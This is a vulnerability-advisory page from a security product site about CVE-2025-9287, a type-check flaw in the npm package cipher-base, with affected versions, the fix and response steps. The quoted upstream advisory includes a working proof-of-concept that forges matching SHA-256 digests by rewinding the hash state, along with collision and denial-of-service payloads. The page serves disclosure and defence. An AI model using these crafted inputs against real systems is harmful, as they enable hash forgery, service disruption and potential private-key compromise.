HOL LogoGuard

Explore HOL

  • HOL home
  • AI agent registry
  • AI plugins
  • Open standards
  • HOL members
  • Sponsor HOL
  • Advertise with HOL

Guard product

  • Guard overviewLocal security and control for AI agents and the tools they use.
  • FeaturesRuntime protection, policy routing, review, and evidence.

Explore Guard

  • Product previewWalk through Guard surfaces in read-only demo mode.
  • ComparisonCompare Guard with native controls and AI security vendors.

AI tools

  • All AI toolsEvery supported AI tool and how Guard applies policy to it.
  • Codex
  • Claude Code
  • Cursor
  • Antigravity CLI
  • OpenCode
  • Hermes
  • OpenClaw
  • GitHub Copilot CLI
  • Antigravity
  • Kimi
  • Grok
  • Pi / Oh My Pi
  • Zcode

Extensions

  • All extensionsBrowse command and MCP coverage with owners and stated limits.
  • Command coverageShell command protection across clouds, databases, backups, and packages.
  • MCP server coverageSee how Guard maps risk state across MCP tools and servers.
  • Core safetyThe safety floor listings that ship with Guard.
  • Data and resilienceBackup and storage command protection.
  • Cloud and infrastructureAWS, Azure, GCP, Kubernetes, and more.

Security

  • AI security hubSecurity research, advisories, and agent safety coverage.
  • AI tool securitySecurity profiles for each supported coding agent.
  • Safe labsHands-on attack simulations with safe boundaries.
  • Redacted warningsReal blocked actions with sensitive details removed.
  • AdvisoriesCoordinated disclosure reports for AI tooling.
  • Active CVEsSearch active CVEs affecting AI tooling.

Learn

  • Security guidesPractical guides for securing AI agent workflows.
  • DocsInstall, configure, and operate Guard with confidence.
  • ResearchPublished security research, benchmarks, and methodology.

Community

  • ReleasesVersion history, shipped changes and upgrade notes.
  • ContributorsThe people and contributions behind HOL Guard.
  • AffiliatesShare Guard with your audience and earn from referrals.
  • SponsorFund agreed research, implementation and shared testing through the HOL Partner Program.
  • AdvertiseCompare README logo placements, previews and monthly prices, or promote a plugin or extension.
PricingEnterpriseOpen AppInstall Guard
  1. Guard
  2. Security
  3. CVEs
  4. CVE 2025 9287 cipher base is missing type checks leading to
HOL Guard

Public security guidance for teams protecting AI harnesses, MCP servers, skills, prompts, and local tool execution.

Install Guard

AI Security

  • Prompt injection
  • MCP security
  • OWASP MCP mapping
  • Supply chain

Resources

  • Trust packet
  • Harness setup
  • Redacted warnings
  • Safe labs

Product

  • Install Guard
  • Pricing
  • Open dashboard
Guard
  • Guard Overview
  • Releases
  • Contributors
  • Install Guard
  • Pricing
Docs
  • Documentation Index
  • Developer Hub
  • API Reference
  • Root OpenAPI
  • Registry OpenAPI
  • Run in Postman
  • Standards
  • Submit ERC-8004 Contract
  • Feature Your Agent
Best Plugins
  • Browse Plugins
  • Plugin Launches
  • Best Claude Plugins
  • Best Codex Plugins
  • Best Grok Plugins
  • Best Kimi Plugins
  • Best DeepSeek Plugins
  • Best Antigravity Plugins
  • Best MCP Servers
  • Best Cursor Plugins
  • Best OpenCode Plugins
Best Agents
  • Best ERC-8004 Agents
  • Best Virtuals Agents
  • Best MCP Servers
  • Best A2A Agents
  • Best x402 Payable
  • All Categories
Community
  • Telegram
  • X
More
  • About HOL
  • Sponsor
  • Advertise
  • Contact
  • Blog
  • GitHub
  • Privacy
  • Terms of Service
Settings

Copyright © 2026 HOL DAO LLC. All rights reserved.

Back to active CVEs
Critical · CVSS 9.1CVE-2025-9287GHSA-CPQ7-6GPM-G9RC

cipher-base is missing type checks, leading to hash rewind and passing on crafted dataCVE-2025-9287

Answer in brief

CVE-2025-9287 records a Critical severity (CVSS 9.1) vulnerability in cipher-base is missing type checks, leading to hash rewind and passing on crafted data. The current sources do not mark it as known exploited. The current feed maps cipher-base (npm). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published Aug 21, 2025Updated Sep 10, 2026Source checked Oct 25, 2026First seen by HOL Aug 8, 2026Material review Sep 10, 2026
Upstream Advisory

Key facts

Risk
Critical · CVSS 9.1
Exploitation
Not marked as known exploited
Affected software
1 mapped package or product
Fix availability
Available

Why this deserves its current priority

CVSS is 9.1. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps cipher-base (npm). Check affected ranges and fixed versions before updating.

Mapped affected packages and fixed versions
PackageAffected rangeFixed version
cipher-basenpm>=0 <1.0.51.0.5

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for cipher-base.
  2. 2Review the reported fix. Update cipher-base to 1.0.5 if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    Aug 21, 2025

    Evidence: source:osv:source_dates:source-dates:record
  2. Source modified

    Sep 10, 2026

    Evidence: source:osv:source_dates:source-dates:record
  3. First seen by HOL

    Aug 8, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • Source referencelists.debian.org
  • NVD vulnerability recordnvd.nist.gov
Upstream source description

### Summary This affects e.g. `create-hash` (and `crypto-browserify`), so I'll describe the issue against that package Also affects `create-hmac` and other packages Node.js `createHash` works only on strings or instances of Buffer, TypedArray, or DataView. Missing input type checks (in npm `create-hash` polyfill of Node.js `createHash`) can allow types other than a well-formed `Buffer` or `string`, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour. ### Details See PoC ### PoC ```js const createHash = require('create-hash/browser.js') const { randomBytes } = require('crypto') const sha256 = (...messages) => { const hash = createHash('sha256') messages.forEach((m) => hash.update(m)) return hash.digest('hex') } const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe') const receivedMessage = JSON.parse(payload) // e.g. over network, whatever console.log(sha256(...validMessage)) console.log(sha256(...receivedMessage)) console.log(receivedMessage[0]) ``` Output: ``` 9ef59a6a745990b09bbf1d99abe43a4308b48ce365935e29eb4c9000984ee9a9 9ef59a6a745990b09bbf1d99abe43a4308b48ce365935e29eb4c9000984ee9a9 Hashed input means safe ``` This works with: ```js const forgeHash = (valid, wanted) => JSON.stringify([wanted, { length: -wanted.length }, { ...valid, length: valid.length }]) ``` But there are other types of input which lead to unchecked results ### Impact 1. Hash state rewind on `{length: -x}`. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash. 2. Value miscalculation, e.g. a collision is generated by `{ length: buf.length, ...buf, 0: buf[0] + 256 }` This will result in the same hash as of `buf`, but can be treated by other code differently (e.g. bn.js) 4. DoS on `{length:'1e99'}` 5. On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration, like [GHSA-vjh7-7g9h-fjfh](https://github.com/indutny/elliptic/security/advisories/GHSA-vjh7-7g9h-fjfh)) 6. Also, other typed arrays results are invalid, e.g. returned hash of `new Uint16Array(5)` is the same as `new Uint8Array(5)`, not `new Uint16Array(10)` as it should have been (and is in Node.js `crypto`) -- same for arrays with values non-zero, their hashes are just truncated to `%256` instead of converted to correct bytelength

Quoted source text, attributed separately from HOL analysis.

Record context

Vulnerability class
Vulnerability
EPSS
Not reported
CWE IDs
Not reported
Source
OSV
Source checked
Oct 25, 2026
References
6 linked sources
Open source record